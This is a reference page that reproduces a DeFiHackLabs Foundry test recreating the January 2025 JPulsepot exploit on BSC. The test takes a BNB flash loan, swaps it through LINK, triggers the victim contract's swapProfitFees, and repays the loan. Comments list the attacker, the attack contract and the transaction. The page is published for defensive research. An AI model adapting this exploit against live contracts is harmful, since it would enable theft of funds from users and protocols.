Public reproduction file
src/test/2025-01/JPulsepot_exp.sol
Public reproduction file for dataset entry JPulsepot.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";6// @KeyInfo - Total Lost : 21.5K7// Attacker : https://bscscan.com/address/0xf1e73123594cb0f3655d40e4dd6bde41fa8806e88// Attack Contract : https://bscscan.com/address/0xe40ab156440804c3404bb80cbb6b47dddd3abfd79// Created Attack Contract: https://bscscan.com/address/0x818CD70bE0C9DEC3B0bc52eFAACEb06469Ce587F10// Vulnerable Contract : https://bscscan.com/address/0x384b9fb6e42dab87f3023d87ea1575499a69998e11// Attack Tx : https://bscscan.com/tx/0xd6ba15ecf3df9aaae37450df8f79233267af41535793ee1f69c565b50e28f7da13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x384b9fb6e42dab87f3023d87ea1575499a69998e#code16// @Analysis17// Post-mortem : 18// Twitter Guy : https://x.com/CertiKAlert/status/187766235283479363919// Hacking God : 20pragma solidity ^0.8.0;22import "../interface.sol";24interface IFortuneWheel {25 function swapProfitFees() external;26}28contract JPulsepot is BaseTestWithBalanceLog {29 uint256 blocknumToForkFrom = 45_640_245;30 address internal constant PancakeV3Pool = 0x172fcD41E0913e95784454622d1c3724f546f849;31 address internal constant BNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;32 address internal constant PancakeV2Router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;33 address internal constant LINK = 0xF8A0BF9cF54Bb92F17374d9e9A321E6a111a51bD;34 address internal constant victim = 0x384b9fb6E42dab87F3023D87ea1575499A69998E;36 function setUp() public {37 vm.createSelectFork("bsc", blocknumToForkFrom);38 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit39 fundingToken = address(BNB);40 }42 function testExploit() public balanceLog {43 //implement exploit code here44 address recipient = address(this);45 uint256 amount0 = 0;46 uint256 amount1 = 4_300_000_000_000_000_000_000;47 bytes memory data = abi.encode(amount1);48 IPancakeV3Pool(PancakeV3Pool).flash(recipient, amount0, amount1, data);49 }51 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes memory data) external {52 uint256 amount = abi.decode(data, (uint256));54 IERC20(BNB).approve(PancakeV2Router, type(uint256).max);56 uint256 amountIn = amount;57 uint256 amonutOutMin = 0;58 address[] memory path = new address[](2);59 path[0] = BNB;60 path[1] = LINK;61 address recipient = address(this);62 uint256 deadline = block.timestamp;63 IUniswapV2Router(payable(PancakeV2Router)).swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn, amonutOutMin, path, recipient, deadline);65 IFortuneWheel(victim).swapProfitFees();67 IERC20(LINK).approve(PancakeV2Router, type(uint256).max);69 amountIn = IERC20(LINK).balanceOf(address(this));70 path[0] = LINK;71 path[1] = BNB;72 IUniswapV2Router(payable(PancakeV2Router)).swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn, 0, path, recipient, deadline);73 IERC20(BNB).transfer(msg.sender, amount+fee1);74 }76 receive() external payable {}77}Analysis
Dataset entry
Public Foundry test for “JPulsepot” (2025-01-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
18 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-01/98Token_exp.solSame month in the dataset · 53 lines
- src/test/2025-01/AIXBTForcedSwap_exp.solSame month in the dataset · 260 lines
- src/test/2025-01/Ast_exp.solSame month in the dataset · 111 lines
- src/test/2025-01/HORS_exp.solSame month in the dataset · 92 lines
- src/test/2025-01/IdolsNFT_exp.solSame month in the dataset · 81 lines
- src/test/2025-01/IPC_exp.solSame month in the dataset · 105 lines
- src/test/2025-01/LAURAToken_exp.solSame month in the dataset · 204 lines
- src/test/2025-01/LPMine_exp.solSame month in the dataset · 96 lines
- src/test/2025-01/MCAI_exp.solSame month in the dataset · 89 lines
- src/test/2025-01/Mosca_exp.solSame month in the dataset · 75 lines
- src/test/2025-01/Mosca2_exp.solSame month in the dataset · 78 lines
- src/test/2025-01/ODOS_exp.solSame month in the dataset · 68 lines
- src/test/2025-01/Paribus_exp.solSame month in the dataset · 188 lines
- src/test/2025-01/RoulettePotV2_exp.solSame month in the dataset · 72 lines
- src/test/2025-01/sorraStaking.solSame month in the dataset · 72 lines
- src/test/2025-01/Unilend_exp.solSame month in the dataset · 157 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xf1e73123594cb0f3655d40e4dd6bde41fa8806e8
- Attack Contract
0xe40ab156440804c3404bb80cbb6b47dddd3abfd7
- Vulnerable Contract
0x384b9fb6e42dab87f3023d87ea1575499a69998e
- Attack Tx
0xd6ba15ecf3df9aaae37450df8f79233267af41535793ee1f69c565b50e28f7da
- Twitter: https://x.com/CertiKAlert/status/1877662352834793639
- Explorer: https://bscscan.com/address/0xf1e73123594cb0f3655d40e4dd6bde41fa8806e8
- Explorer: https://bscscan.com/address/0xe40ab156440804c3404bb80cbb6b47dddd3abfd7
- Explorer: https://bscscan.com/address/0x818CD70bE0C9DEC3B0bc52eFAACEb06469Ce587F
- Explorer: https://bscscan.com/address/0x384b9fb6e42dab87f3023d87ea1575499a69998e
- Explorer: https://bscscan.com/address/0x384b9fb6e42dab87f3023d87ea1575499a69998e#code
File record
- Name
- JPulsepot
- Path
- src/test/2025-01/JPulsepot_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 2a6f2da373a2ff550ee453c4fc5183e1c02c54ae
- Language
- Solidity
- Size
- 78 lines
- Date
- 2025-01-10
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-01/JPulsepot_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2a6f2da373a2ff550ee453c4fc5183e1c02c54ae, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.